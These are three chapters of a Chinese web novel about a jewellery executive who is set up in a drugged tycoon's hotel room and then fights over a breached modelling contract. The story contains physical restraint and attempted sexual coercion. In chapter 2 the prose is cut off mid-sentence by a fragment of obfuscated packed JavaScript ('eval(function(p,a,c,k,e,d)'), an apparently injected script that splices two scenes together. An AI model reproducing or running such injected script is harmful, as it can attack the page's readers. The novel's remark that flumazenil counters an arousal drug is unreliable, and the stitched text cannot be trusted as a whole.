《沈总今天钓了吗》 1. 他想爬床?还敢打人! 京市,璀璨之夜秀场外人声鼎沸。 红毯两侧站满了媒体记者,粉丝们高声喊着艺人们的名字。闪光灯此起彼伏,与华灯相互交织,将夜空映照得亮如白昼。 忽然,本就喧哗的人群中爆发出了一阵惊呼。 “啊!冯缦来了!鼎晟的当家花旦冯缦!” “听说缦缦今天会戴着AG最出名的星辰系列压轴!” “那可是AuroraGem啊!这是星辰系列在国内的首秀吧?缦缦真牛!” …… “唔……” 与此同时,在璀璨之夜的贵宾休息室5302房间,一片昏暗中,时不时传来一阵压抑的呻吟声。 室内一片寂静,只有窗外秀场闪烁的霓虹灯光偶尔透过厚重的窗帘缝隙,在一张轮廓分明的脸上投射几缕光影。 男人五官英挺,斜倚在床头紧闭双目,事先打理好的头发此时有些凌乱地散在额头上,他的眉头微微皱起,面上泛起不正常的潮红。 布里奥尼的西装被他随意地丢在床上,领带也被扯松了,露出了一小片散发着雄性荷尔蒙气息的肌肤,上面隐隐有汗珠滚落。 黑暗中,伴随着粗重的喘息声,男人缓缓地睁开了眼睛。 他目光锐利地看向房门,如一只掉入陷阱的野兽,等待着推门而入的不知死活的“猎人”。 …… “冯缦这时候闹解约图什么?问清楚诉求,先尽量稳住她,AG刚打进国内市场,稳一点没坏处。” “……” “嗯,谈不拢也没事,你那边先别松口,等我来。” “叮!” 电梯门打开,沈知言一边讲着电话一边对着身份识别卡上的房号找到了自己的房间——5302. “行了,那就这样,我先回房间取备用的那套首饰,等一下过去找你。” 挂断电话后,沈知言看了一眼房间号,确认无误后径直刷卡,推开了5302的房门。 室内一片昏暗,沈知言按了几下开关,灯却没有亮。 他暗道了声奇怪,今天来的时候明明还好好的,璀璨之夜怎么说也是国内首屈一指的时尚盛典,怎么会有贵宾休息室断电这种乌龙发生? 但因为时间紧迫,他也没有多想,只想赶紧拿上东西去找被丢下独自处理烂摊子的秦昭,自然也就没有注意到角落里的那团黑影。 沈知言今天来过休息室,因此凭借着记忆,他轻车熟路地穿过了玄关,摸黑走到了沙发的位置。可是他弯腰摸索了半天,也没有找到自己之前放在这里的首饰箱。 “就放在这里的啊……被阿昭拿走了吗?” 正当沈知言疑惑之际,忽然听到身后传来了一阵窸窸窣窣的响动,他刚要回头,就猝不及防地被一阵大力猛然推搡到了沙发上。 “啊!” 沈知言事先没有丝毫防备,根本来不及反应就被人蛮横地控制住了双手,反剪到了身后。 一阵剧痛传来,拉扯到了他左臂的旧伤。 “嘶……” 那人的力气极大,沈知言的手腕被攥得死死的,根本挣脱不开。 这一切发生的太突然了! 沈知言从最初的茫然中迅速回过神来,怒斥道:“什么人!放开!” 可他的怒斥换来的只有来自黑暗中的一声冷笑。 紧接着,一具滚烫的身体覆到了他的身上,湿热的气息喷薄在他的耳根和脖颈处,一阵酥麻,沈知言不由战栗了一下。 为什么自己的房间会有人! 而且,这个人身体的温度与气息显然都不正常! 沈知言努力压下心中的震颤,强迫自己冷静下来。 AG准备拓展国内市场,势必会触及一些人的利益。他预料到了自己会被人下绊子,却万万没有想到对方的手段会这么脏! 不过眼下最要紧的,是稳住身后的人。 沈知言迫使自己的声音稳定下来,问道:“你到底是什么人?谁让你来的。” 他以为是对手在他房间里放了人,可是回答他的却又是一声轻笑。 就在沈知言想许下利益暂且安抚住对方时,在他的身后传来了一道低沉而富有磁性的声音,“看来这次还有剧本,不会又是走错房间的戏码吧?” 剧本……戏码…… 沈知言一时没有弄清楚状况。 可他的这个反应在身后之人看来,却是被说中后的心虚。 “看来是说中了。” 说着,那人不顾沈知言的挣扎,一把扯下了他的领带,粗暴地将他的双手反绑到了身后。 “嘶……” 手腕处传来的痛感让沈知言彻底意识到了自己眼下的处境—— 不管对方是什么人,中间有什么误会,都不是一时半会可以解释得清楚的。 眼下,先要逃离现状! 反应过来后,沈知言转头便冲着门口呼救,“来人!救命!来……唔!” 可他的呼救声很快便被掩盖在了宽大的手掌之中,沈知言的口鼻被死死地捂住,只能发出一声声急切的喉音。 一阵天旋地转之后,沈知言被丢到了床上,紧接着,他的头便被人用力地按在了柔软的枕头里。 他的呼吸顿时变得急促而困难,只能发出沉闷的呜咽声。 那人压在了沈知言的身上,轻而易举就制止了他身体的挣扎和双腿胡乱的蹬踹。 “现在可以安静地回答我的问题了吗?” “唔……唔……” 在强烈的窒息感的胁迫下,沈知言识时务地停止了挣扎,他顶着强压在后脑上的力道,微不可查地点了点头。 接着,沈知言便感到后脑一轻,压制他的力道倏然离开。 “咳咳……” 沈知言从窒息中解脱,忙将头从限制他呼吸的枕头中移开,如获大赦一般大口大口地贪婪地呼吸着新鲜空气,他的胸膛剧烈地起伏着。 “滴!” 黑暗中的男子似是拿过了手机,随手摆弄了一下。随着一声电器通电后的响动,屋内的灯光齐刷刷地亮了起来,刺目的光芒瞬间驱散了先前的黑暗。 “说吧,谁让你来的?”男人低沉的声音再度传来,散发着上位者的气息,压迫感十足。 突如其来的灯光刺得沈知言眼睛一痛,他喘着粗气眯起眼睛,缓了好一会儿,这才逐渐适应了眼前的光线。 在他正前方的墙面上嵌着一大面水晶浮雕,此时正映照出他双手被缚的狼狈模样,像是一条扑腾在案板上的鱼,滑稽又可笑。 沈知言这才意识到,这间房间的摆设与自己之前去过的那间并不相同。但是它们的房间号都是5302! 一瞬间,沈知言的心如坠冰窟,他被算计了! 尤其是当他通过水晶浮雕,看到身后那张常年出现在财经杂志上的面孔时,更是确认了今天这一出的目的。 顾铎!眼前这个明显被下了药的人,竟然是天御集团的顾铎! 而天御集团是AG进军国内市场最需要拉拢的合作方,没有之一! “我在问你话。” 不待沈知言细想,一只有力的大手就擒住了脖颈,将他粗暴地拽了起来,又引起了他的一阵头晕目眩。 顾铎中了药,又经过方才那么一通折腾,此时他的头脑越发昏沉,浑身燥热难忍,没有太多的耐心让对方拖延时间。 只是,当顾铎看清沈知言的脸时,他的呼吸明显一滞。 沈知言无疑是极为漂亮的。 流畅的面部线条勾勒出了清冷俊秀的轮廓,一双看谁都深情的桃花眼,偏偏格外清澈,不柔也不媚。长而浓密的睫毛随着喘息声一抖一抖的,可能是刚才憋得狠了,眼角有些泛红。 他此时正薄唇微启,快速地平复着方才窒息带来的恐惧。 天御集团旗下的天御传媒掌控了娱乐圈的半壁江山,顾铎饶是见惯了俊男靓女,也不得不承认,眼前这个人不仅漂亮,而且漂亮得十分勾人。 只是可惜了,美人如此,却品性低劣。 顾铎的手沿着沈知言的脖颈缓缓移动,直至钳住了对方的下颌。他的食指上戴着一枚双麒麟抱尾的红宝石戒指,迅速在沈知言的脸上硌出了一道红色的痕迹。 “你确定要让我问第三遍吗?” 感受到了顾铎语气中的威胁,从小到大培养出的求生本能让沈知言迅速摇头表态。 此时,他已经稳住了情绪,努力地调动出毕生的真诚,试图安抚对方。 沈知言用尽量温和的声音,诚恳地说道:“顾总,我是AG的……设计师,这其中有误会,我们被人算计了,有人想挑唆AG和天御的关系。” 他尽量言简意赅地说出了自己的推测。眼看着顾铎的喘息声越来越重,他只想快些取得对方信任,远离这个是非之地。 “AG?AG和天御有什么关系可挑唆的?”顾铎像是听到了什么好笑的事一般,但是他的眼中却毫无笑意,“敢爬我的床,你知道你会发生什么吗?” 他当然知道! 沈知言想和天御谈合作,怎么会不提前了解他们掌权人的信息? 曾经想给顾铎送床伴的人有很多,顾铎处理的手段都是能狠尽狠,直到近两年才消停了许多。 多年前有一次动静闹得格外大,当时那个小明星和他背后的资本在那之后便查无此人了。 “顾总,AG抱有极大的诚意想和天御合作,我们没有理由做这种自损的事情!” 沈知言辩解的声音越来越急切,因为顾铎离他的距离越来越近。 周身笼罩在顾铎的压迫感之下,沈知言的话根本不敢停,“顾总,您可以调监控,也可以向主办方求证到底是谁多开了5302的信息卡。一切调查我都可以配合!” 顾铎没有管身下之人的抗拒,他兀自将头埋进了沈知言的颈窝,嗅了嗅,忽然低笑了一声,“金盏花的气味,你连我喜欢的味道都调查了,还说不是处心积虑?” 沈知言:! 这是沈知言第一次体会到语言的无力和巧合的荒谬。 金盏花的气息确实并非巧合,是他有意为之。因为他想和顾铎谈合作,所以便投其所好。没想到这却成了他勾引顾铎的证据,而在眼下的情形下根本说不明白! 顾铎如此近距离的靠近,让沈知言感到一阵心慌。 在他的角度,甚至可以清晰地看到顾铎额角处细密的汗珠,再加上一阵阵喷薄在他脖颈上的热浪,都说明这个人的药效正在发作! “顾总,我现在真的有很重要的事情需要处理,你能不能先放我离开?我可以留下名片配合……唔!” 沈知言急切地想逃离眼下的处境,可是他的话还没有说完,就被顾铎大力地按倒在了床上! 顾铎俯视着沈知言,桎梏着对方下颌的手逐渐松开,暧昧地摩挲着他的脸。 他将身子向前凑了凑,声音有些沙哑,“很重要的事?我这里确实有一桩很重要的事。” 沈知言在感受到蹭到自己身上的某个部位时,脸上所有的平静瞬间皲裂,他猛然瞪大了双眼,脑中警铃大作。 “顾总!我说了我不是……啊——” 顾铎嫌沈知言太吵 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顾铎这才注意到,刚才为了制止身下之人的挣扎,他按住对方左肩的手用了狠劲,而那人的双手之前被他以一个极为难受的角度扭到身后绑了起来,现下不疼才怪。 弄清了原委,顾铎便松开了按住对方肩膀的手,低声道:“娇气。” 沈知言趁机借着这幅谁看谁心软的脸色,软声恳求道:“顾总,你先把我放开好不好?我保证不乱动,绑着我你也不方便,是不是?” 刚才还在拼死挣扎的人,忽然变得格外乖巧,如果是清醒的顾铎绝对不会相信,更不会心软。 但现在的顾铎脑中已经一片混沌。 下身胀得难受,又遇到了难得想放纵的人,顾铎不想把时间浪费在废话上。于是他二话不说就将人翻了过来,几下子就解开了勒在对方手腕上的领带,一圈醒目的红痕深深地嵌在了白皙瘦削的手腕上,触目惊心。 沈知言揉着左肩,稍微缓了缓肩膀上的疼痛。见对方又欺身压了上来,他也没躲,反而顺从地伸出双手攀住了对方的脖颈。 顾铎很满意对方的温顺,可正当他想更进一步的时候,忽然感到腹部传来了一阵剧痛! 沈知言攀着顾铎的身体将他引到了一个合适的身位,铆足了劲儿,一膝盖撞上了顾铎的腹部。在将人撂倒后,又迅速翻身将对方压在身下,狠狠地补了两拳。 平心而论,沈知言后面这两拳没有丝毫的报复情绪在里面,他是估摸着顾铎的状态出的手,提前制止了对方的反扑。 见顾铎此时已经没有力气再继续纠缠自己,沈知言这才狼狈地从他身上下来。 沈知言低头整理了一下皱得不像样子的西服外套,平复着心绪。等他再度抬起头时,已经回归了平日里那副从容平和的状态。 不想在是非之地久留,他快速向外走去,可刚走到门口,却猝然停下了脚步。 他接下来要做的事情还有很多,现在身上这套狼狈的西装是无论如何都不能再穿了。然而,他这次带来的备用西装并没有搭配领带…… 看了看床上那条被勒成了一条绳根本不能再用的领带,沈知言只是略作犹豫,就直接折返了回去。 顾铎在药力的作用下,正躺在床上喘着粗气。 他本就昏昏沉沉的,再加上沈知言刚才那两拳没有丝毫留手,此时已经彻底没了力气,只能眯着眼睛冷冷地看着罪魁祸首离开。 只是他没想到,那人明明都到门口了,却忽然回头看了看自己,又走了回来。 顾铎起初有些不解,但这份不解旋即就变成了不可思议。 他一脸震惊地看着沈知言就这么大大方方地骑到了自己身上,麻利地解开了自己的领带! 顾铎不理解,十分不理解。 不管是爬床还是揍他,都是在他的底线上蹦跶。可眼前这个人倒好,先是爬床,再是揍他,然后又爬床。 “顾总,我刚才做出防卫,是因为你对我无礼在先。你之前弄坏了我的领带,现在……我们算是扯平了。” 沈知言装作没看到顾铎脸上精彩纷呈的表情。 他出席活动时的形象代表着AG。如今他的领带被顾铎弄坏了,相比于去后台随便找一条糊弄,由顾铎赔偿理所应当。而且,这条黄底的宝格丽真丝印花领带与他备用的那套深蓝色西服也比较搭配。 但考虑到后续的合作,沈知言并不想把顾铎得罪死——AG想打开国内市场,和天御集团合作是很重要的一步棋,关系着他后续一系列计划的推进难度。 略作思忖,沈知言想尽量挽救一下和对方的关系,于是正色道:“顾总,你有心血管疾病吗?” 顾铎面无表情地看着眼前这个人,已经丧失了所有猜测对方行为的力气。 他解开了自己的领带,又不进行下一步动作,还问自己是否有病,难不成他还要给自己生孩子? 四目相对,二人僵持了片刻,最终顾铎有气无力地摇了摇头。 下一刻,沈知言便将一个小巧的药瓶塞到了对方手中。 “氟马西尼,可以恢复大脑正常的神经递质平衡,减轻因为药物而引起的神经系统兴奋和情绪波动。” 沈知言从顾铎的身上下来,整理了一下衣服,脸上重新挂上了得体的笑容,像是刚才差点被顾铎强迫又不知死活地揍了顾铎的人不是他一样。 “顾总以后出席活动时可以备着些,虽然可能会有焦虑、烦躁的副作用,但肯定比见人就啃要好上许多。” 说完,沈知言欠了欠身,不再做丝毫停留,径直离开了房间。 2. 可惜品行卑劣 沈知言离开5302房间后,立刻去找主办方确认了自己的房间信息,这才发现原来自己被安排的房间号是5202! 可他绝对没有记错,他和秦昭一起来休息室送东西时,当时的房间号确实是5302。而且他的身份信息卡竟然可以同时打开5202和5302这两个房间。 显然,有人给他设了局。 这个人想让他和顾铎交恶,或者说想断了AG和天御合作的可能,并且这个人还能在不留痕迹的情况下更换休息室的门牌号。 究竟是谁设的局,沈知言一时半会没有证据,也没有时间去追究。 因为眼下他有更紧急的事情需要处理——刚才在进入5302前,他接到了秦昭的电话,得知原定今晚佩戴“星辰系列”走秀的冯缦正在闹解约。 冯缦是鼎晟传媒的当家花旦,一个艺人不会这么不爱惜羽毛,无缘无故在这种档口毁约,白白损伤自己在时尚圈的名声。 冯缦的毁约,必然是鼎晟的老板徐胜宇指使的。 但AG和鼎晟并没有竞争关系,徐胜宇完全没有害自己的必要。除非……他是在为自己的合作伙伴出头。 而至于那个合作伙伴是谁,就要看踢出AG后,今晚压轴展示的珠宝品牌是哪家了。 想到这里,沈知言只觉得讽刺无比。 他当初之所以选择鼎晟的冯缦进行AG“星辰系列”的国内首秀,是因为鼎晟的老板徐胜宇是顾铎有着过命交情的发小。 沈知言本想通过徐胜宇进而搭上天御集团。谁知事与愿违,现在交好不成,还成了对手。 但沈知言也不是没脾气的泥人。 临阵毁约让AG利益受了损,就算天王老子来了也得扒层皮。 …… “尊敬的各位来宾,亲爱的时尚界同仁们!欢迎莅临国内时尚盛典——璀璨之夜!在这个……” 在后台的独立化妆间内,主持人的声音从秀场中清晰地传来,但这里的气氛却剑拔弩张。 冯缦坐在椅子上百无聊赖地摆弄着指甲,她的经纪人李姐正护在她的身前,寸步不让地和一个清俊儒雅的男人争执着。 沈知言换好衣服来到化妆间时,见到的就是这幅场景。 “阿昭,辛苦了,剩下的我来解决。” 沈知言推门而入,目光在屋内的每个人身上一一扫过,之后便迅速走到了秦昭的身边。 看清来人后,冯缦和李姐都不由眼前一亮。 她们以为这是AG临时找来的小模特,代替冯缦走秀。但又有些不解,这人无论相貌还是气度都如此优越,怎么她们之前从来没有听说过? 而一同吸引了冯缦目光的,还有对方胸前佩戴的胸针。 以雕工精细的蓝色托帕石为主体,周围镶嵌着一圈切割精美的细钻,从底部延伸出了一条极细的白金链条,一颗小巧的黑欧泊在下面增加了它垂坠的美感。 冯缦当即就联想到了自己之前原本要戴的那套“星辰系列”的珠宝,虽然主题不同,但是它们的风格很像。 其实冯缦是有些遗憾的,那套星辰系列的珠宝她真的很喜欢。可惜,她一个艺人做不了自家老板的主。 而不管是鼎晟还是AG,她都不敢得罪。因此,只能在表明了拒绝佩戴的态度后,就将烂摊子丢给了经纪人李姐。 秦昭没有理会屋里那两个人的心思,他见沈知言来了,便将手中的资料递了过去。 与此同时,他注意到了沈知言去取趟东西的功夫,竟然不仅换了衣服,还戴了一条不知道是谁的领带。 但现在显然不是询问的好时机,于是他只是打了个招呼,“Leo。” 秦昭的话音刚落,屋内的冯缦和李姐都大吃一惊。 眼前的这个人竟然不是什么临时找来的小模特,而是“星辰系列”的首席设计师——Leo! 沈知言冲秦昭点点头,便将目光转向了冯缦的经纪人。他的声音温和却带着不容置疑的强势,“既然冯小姐坚持毁约,那我们按合同办事没问题吧。” 李姐这才回过神来,见争执了半天,对方终于松了口,忙道:“可以!关于缦缦这次的违约行为,我们会按照合同中标明的数目全额赔偿。” 沈知言听完却摇了摇头,“不是全额,是七倍。合同上写了,在活动开始后如果无故违约,需要按违约金的七倍赔偿。” 眼见着对方睁眼说瞎话,李姐忙解释道:“不是,谁说我们是在活动开始后无故毁约了?在活动开始前,我们就已经提出来了!而且是因为缦缦出现了过敏症状才无法佩戴!” “你们在活动前提出来,只是在与我的总助协商而已。协商不成,现在才算正式和我谈违约的事,而很明显……”沈知言顿了顿,瞥了一眼窗外五彩的霓虹灯和鼎沸的人群,“现在走秀已经开场了。” 沈知言的笑容依旧彬彬有礼,继续道:“而且你说的过敏问题,有医院诊断证书吗?又有什么证据可以直接证实这和我们的饰品相关?” 沈知言的目的并不是想和李姐现在就把赔偿之事定下来,而且也定不下来,因为对方根本就不是能做主的人。 他目前做的,仅仅只是告知。 因此,见李姐一副不服不忿的样子,沈知言不想就此纠缠,于是问道:“所以,七倍赔偿,你认吗?” “我当然不认!”李姐一口回绝。 笑话,这事儿本来也不是她的主意,如果从她这里认下这么一大笔赔偿,她还要不要继续干了? “好。”沈知言点头,随即看向秦昭,“阿昭,记下待办,一,陪冯小姐去医院检查过敏源,二,对于毁约时间是在开场前还是开场后,双方没有谈拢,需进一步沟通。” 说完后,沈知言重新看向李姐,“下面,我们谈一谈伤害赔偿。” 听到“伤害赔偿”,李姐忙道:“我们没有对外说过缦缦过敏的事,不算伤害你们的品牌形象!” 沈知言笑了笑,耐心地解释道:“当然算。AG的‘星辰系列’要在璀璨之夜进行首秀,这件事已经经过了多日的预热。现在无故被撤,势必会造成不小的舆论反响。你们的违约行为已经导致了AG品牌受损,除了支付赔偿金外,还需要承担活动的直接经济损失、预期利润损失、品牌形象修复费用等等。” 说完,沈知言再次向李姐确认,“关于这一点,你能做主吗?” 李姐咬牙不肯松口,摇了摇头。 沈知言了然地点了一下头,嘱咐秦昭,“阿昭,记待办。” “最后,让我们来聊聊你们需要赔偿给AG的商业机会损失费。也就是星辰系列展示价值的60%。” 顿了顿,沈知言补充道:“这部分赔偿金的计算依据,包括星辰系列珠宝的市场价值、预期的宣传推广效果、活动的商业影响力以及冯小姐的知名度和商业价值等,具体金额我会委托第三方评估机构进行评估确定。” 李姐面无表情地听着,只是一味摇头。 沈知言说的这些在她这里都是做不了主的。她也好,冯缦也好,都只是执行自家老板指示的工具人而已。 这一点,她知道,沈知言当然也知道。 见开场白说完了,沈知言从容地拉过来一把椅子,坐到了二人面前,这才施施然进入了正题。 “好了,现在我们已经打过招呼了,接下来,在这间屋子里,我们就按照待办项,逐条商议吧。” 沈知言说完,秦昭立即会意,径直走到了门前将化妆室的门从里面反锁上了。 你上来就这么叽里呱啦一大堆才只是打招呼?! 见状,冯缦和李姐不由面面相觑,眼中闪过一阵焦急,尤其是冯缦。 老板财大气粗不顾她们艺人的死活,但她得顾自己。毁约已经很伤害她的业内形象了,如果走秀再放了主办方鸽子,那她的口碑就完了。 李姐这下是真的急了,“我说了,你说的赔偿方式我不同意,我也做不了主!Leo,你要想谈赔偿,找能做主的人去啊!” 沈知言显然油盐不进,“当初签约的人是冯缦小姐,谁签的我和谁谈。具体你们谁做主,是你们的事,该由你们解决。” 眼见着沈知言一副没得商量的架势,冯缦急得像热锅上的蚂蚁一般,忙拽了拽李姐的衣袖。 她可是要压轴的! “李姐,怎么办……” 此时秀场中的走秀已经开场半天了,她们却被拦在了化妆室里!她们毁了AG这边的约,是因为要戴宝丰阁的秋季新品走秀,如果那边出了岔子,她根本没办法和老板交代。 李姐犹豫着打着商量,“Leo,你看这样行不行,缦缦等下还有走秀,关于违约金的事,我来和你谈。” 沈知言淡淡地瞥了一眼冯缦身上戴着的宝丰阁的新品,笑道,“怎么可能呢?赔偿金敲定前,我是要和签约人谈的,要是有急事的话,你倒是可以先走。” 走你妈! 李姐在心里默默地爆了句粗口。 “或者……”沈知言看了看桌上的手机,“你可以问问能做主的人。” …… 李姐去一旁打电话了,沈知言安静地用手指在大腿上轻叩着,见冯缦正一脸忐忑地看着自己,他安抚地冲对方笑了笑。 这时,站在一旁的秦昭注意到了沈知言的手腕上戴了一个皮质的手环,上面的纹路十分具有设计感,间或点缀着几颗黑色玛瑙。 只是……让他在意的不是这个,而是在沈知言晃动手腕叩击大腿时,时不时露出的那抹藏在手环下的可疑的勒痕! 沈知言换了衣服,戴了别人的领带,手腕上还带了伤! 秦昭的瞳孔骤然紧缩!连呼吸都乱了几分。 在沈知言不解地向他看过来时,秦昭这才勉强恢复了镇定,可他的心里却杂乱如麻——就这么会儿的功夫,沈知言遭遇了什么?谁又对他做了什么! 沈知言自然不知道秦昭的想法,他也没有时间去回想方才的遭遇。他现在只想知道徐胜宇的选择,是顶格赔偿,还是三败俱伤? 想用这种手段不让AG出头,沈知言怎么可能让他舒舒服服地和宝丰阁谈合作。 不多时李姐就挂了电话走了过来,她黑着一张脸,语气不善道:“您稍等一下,我们老板马上来和您谈赔偿。” 沈知言眼睛弯了弯,“好啊,那他可得快点,我看走秀都快过半了,不过冯小姐压轴,应该来得及。” 李姐此时欲哭无泪,一口牙快要咬碎了,上面的人斗法,谁他妈管她们的死活。 …… 不多时,徐胜宇便匆匆赶来了。让沈知言意外的是,一同前来的还有他此时最不想见到的人——顾铎。 看来在自己离开房间后不久,他的私人医生就到了。 沈知言可不信顾铎会吃自己给的药。他给药只是想挽救一下糟得不能再糟的初印象,顾铎要是真敢吃陌生人给的药,那八成是脑子进水了。 沈知言不动声色地看了看顾铎,见对方只是神色淡淡地扫了自己一眼,并没有想撕破脸报复那两拳的意思,他暗暗舒了口气。 他怕的不是被打两拳,他怕和天御撕破脸。 见到二人后,沈知言便站起了身,温和地向他们打了声招呼,“顾总,徐少。” 无视了沈知言没事人一般的示好,顾铎象征性地向众人点了点头。之后他就坐到了一旁,百无聊赖地把玩着手指上的戒指,可是他的余光却一直在暗暗打量着和徐胜宇谈赔偿的沈知言。 如果用八个字形容眼前这个人,那就是:从容不迫,气定神闲。与刚才在床上被自己收拾得惊慌失措的样子相比,简直判若两人。 他现在的这身打扮很精致,蓝色倒是衬他,胸前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈知言歉意地笑了笑,“多谢徐少好意,只是今晚我还有很多事情需要处理。不急,我人就在京市,未来少不得和徐少打交道,喝酒的机会自然不会少。” 沈知言的行事作风向来是和气生财,不轻易在人前给别人没脸,哪怕对方是刚惹了他不痛快的徐胜宇。 见对方这话说得恭谨又好听,徐胜宇刚才被放血的痛立马被止住了,他有些惋惜地说道:“可惜了,如果Leo你早点回国,和鼎晟传媒合作的,可能就是AG了。” 沈知言其实看不上鼎晟,他的目标是天御。 他不想和徐胜宇扯这些没用的,于是便暗戳戳地提醒了一下对方刚才的违约行为,“徐少说的哪里话,AG不是已经和鼎晟合作了吗?” “嘿嘿!也是!” ……可惜,沈知言的绵里藏针用错了对象。 徐胜宇自小就是个纨绔,没听出话里的刺儿,因为他有一套自己的行为逻辑,他不当回事的事儿,那就不算个事儿,而区区违约又算得了什么? “我见过你设计的珠宝,太漂亮了。”其实徐胜宇哪懂这些,闭眼夸就完了,他意有所指地看了看沈知言。 “AG虽然在国际上有一定的名望,但想打开国内市场也不是那么容易的。Leo,我很欣赏你的才华,你想回国发展的话,不如跟我吧,我开一家公司给你玩啊?” 这话说得很放肆,而且暗示性很强。 顾铎不着痕迹地皱了皱眉。 他欣赏个屁的才华。 徐胜宇什么德性他顾铎能不知道?把星辰系列的珠宝砸徐胜宇脸上他都不认识它们叫什么。 沈知言脸上没有丝毫被冒犯的恼怒,“那确实可惜了,我工作不是为了玩的。” 徐胜宇眼睛一亮,“那好说啊!你现在薪资多少?你跟我,你给你开双倍!” 沈知言闻言乐了,眼睛弯了弯,饶有兴致地说道:“哦?徐总这么大气?” 说完,他笑着走上前去,双手递过去了一张名片,“这是大事,咱们双方都好好考虑考虑,我有事就先走了。徐少、顾总,回见。” 在沈知言递名片时,顾铎就瞥到了他手腕上戴的手环,一下子就想到了那下面藏着的是什么。 刚才在床上荒唐的画面,一瞬间在他脑子里疯狂闪回,与之一同回味的,还有那种从未出现过的失控的感觉。 顾铎摸了摸口袋里的那个小药瓶,他让私人医生检查过了,那确实是可以抑制兴奋的药。 这人能准备得这么齐全,显然是以前着过道,那……他之前也和别人在床上荒唐过吗? 想到这里,顾铎轻嗤一声,刚才面对许徐胜宇那么明显的暗示,他都能笑得花枝招展,还真是……水性杨花。 “艹!” 徐胜宇的一声惊呼打断了顾铎的胡思乱想,他皱眉看向徐胜宇,“又怎么了?” 徐胜宇把名片在顾铎的眼前晃了晃,不可思议道:“这个Leo竟然他妈的就是AG在中国区的那个总负责人沈知言!” 顾铎看着眼前名片上的名字有些怔愣:AuroraGem中国区总裁,沈知言,Leo。 AuroraGem毕竟是国际知名珠宝品牌,它们想拓展中国市场,再低调也不会悄无声息。之前京市的这些人也没少打探,可出面接待的都是那个叫秦昭的总助。 事实上,对于AG中国区总裁这个职位,AG总部争夺得十分激烈,在任命书下来之前,谁也没有想到会是一个叫沈知言的华人。 徐胜宇捅了捅顾铎,有些犹豫地试探道:“哎?阿铎,你觉得这个沈知言怎么样?AG想进京市,肯定会奔你去!” 在知道那个人的身份后,顾铎脑子里那些旖旎的画面便被他一扫而空了。 这样一来,今天那人爬床的事倒不难解释——因为刚回国所以不知道自己的行事风格,仗着一张脸胡作非为惯了,这才用了这种手段。 顾铎拿过了徐胜宇手中的名片,摩挲着“沈知言”的名字,薄唇轻启,冷笑道:“那他怕是要失望了,顾氏不和品行卑劣的人合作。” 3. 他戴着他的领带,闪闪发光 「啊啊啊!缦缦宝贝出场了!」 「天呐!我缦就是古希腊掌管性感的神!」 「哎?之前不是说缦缦这次活动会戴AG的星辰系列吗?」 「对啊,我之前还在网上查过,特别大气,跟缦缦戴的这个不是一个风格的。」 「报!刚才宝丰阁认领了,这是他们家秋季的新品。」 「我女出息了!不管是AG还是宝丰阁,缦缦想戴就戴,妈妈骄傲!」 璀璨之夜是一场现场直播的大型时尚盛典,此时的开场秀已经接近了尾声,屏幕上的弹幕还在不间断的翻滚。 沈知言滑动着手机,看了会上面的弹幕,不由揉了揉眉心。 “抱歉,Leo,我事先没有查清鼎晟和宝丰阁的合作。”秦昭站在沈知言身边,一脸愧疚。 “和你有什么关系?他们要算计我们,怎么可能事先会放出风来?” 沈知言此时的脸色有些发白。他这几天实在没休息好,总部那边有人给他使绊子,交接工作拖了好久,国内很多事情只能线上决策。他紧赶慢赶地回了国,时差都没来得及倒就脚不沾地来了璀璨之夜。 然后在璀璨之夜上——和顾铎发生了那么一件污糟事。 秦昭站在一旁犹豫再三,他其实很想问一问沈知言衣服、领带和手腕的事,但几次三番都张不开嘴。 沈知言一心想着AG这次被算计的事,自然没有注意到秦昭的欲言又止。 待人温和是沈知言的社交手段,但他绝不是个肯吃哑巴亏的人——一回国就被人来了个下马威,他如果一声不吭,那以后的路只会更难走。 “这次设计部一起跟来的是几组。” “二组,组长是艾米。” “好。”沈知言点了点头,“有三件事你办一下。” 秦昭闻言,忙把无关的思绪收了起来,麻利地调出记录软件,等待沈知言的下文。 “第一,让艾米她们把之前交给主办方的PPT更新一下,将之前的‘星辰系列’内容压缩,以图片为主。着重加入咱们年底要推出的‘织梦录’系列介绍,产品只展示胸针和袖扣,其他的置灰。” 秦昭看了看沈知言身上佩戴的饰品,明白了对方的用意。不过他又有些不放心地问道:“你将新品展示放在国内,总部那边会不会不好交代?” “这算什么,新品发布会我也打算在国内开展,我设计的,由我来做主。”沈知言笑了笑,“回国前我得到了Alex的特许,总部那边如果要交代的话,自然有他去吵。” Alex是沈知言在AG的直接上级,沈知言能一路厮杀拿下AG中国区总裁的位置,其中不乏有Alex的帮助。 沈知言看了看时间,接着补充道:“开场秀马上就要结束了,中间还有十五分钟的互动答疑时间,之后就是设计师交流。主办方邀请了五个人,我最后一个上场。时间紧迫,你让她们修改完以后直接发给主办方做替换,同步抄送给我一份就行。” “好。”秦昭点头应道。 “第二,”沈知言想了想,“让公关部买一批水军。” “今晚公关部集体加班,盯着网上舆论呢。” “只盯舆论没用。”沈知言的脸上看不出什么表情,但是声音较之以往微微有些发冷。 “AG在国内知名度太低了,又被鼎晟他们恶意打压,我们得换个打法。他们不想让AG的星辰系列在璀璨之夜上出头,那咱们就把璀璨之夜作为‘织梦录’的预热会,让水军做舆论引导。” “明白。”秦昭快速记录着。 “第三件事……需要你亲自去做。” 见沈知言的表情有些严肃,秦昭心下一凛,他停下了手中的动作,等待着对方的指示。 “阿昭,你还记得我的房间号吗?” 秦昭回想了一下,笃定道:“5302.” 沈知言点头,“我也记得是5302,但我向主办方核对过了,其实应该是5202.” 从主办方那里得知自己的房间是5202之后,沈知言就回想了一下,他和秦昭来的时候是被一个服务生引导过去的,当时房间上的门牌号已经被人替换成了5302。 秦昭闻言,呼吸一滞,他除了觉得匪夷所思之外,更多的是想知道沈知言经历了什么。 可他不敢往深里想。 但沈知言接下来的话,却由不得他不多想,“5302是顾铎的房间,我进去时,他已经被人下了药。” “轰隆!” 秦昭只觉得一道晴天霹雳,径直劈到了他的脑门上。 懵了好一会儿,秦昭紧了紧垂在体侧的拳头,他的声音都有些不稳,“我一定会揪出来是谁干的!” 沈知言被他这幅样子吓了一跳,忙摆摆手,“别急,你一时半会揪不出来。我猜现在重点位置的监控八成已经被删了,但璀璨之夜这么大的活动,事故发生率很高,他们应该不敢删太多。你的重点是先证明我们没有下药的时机,以及门牌号和我的身份识别卡被人动了手脚。” 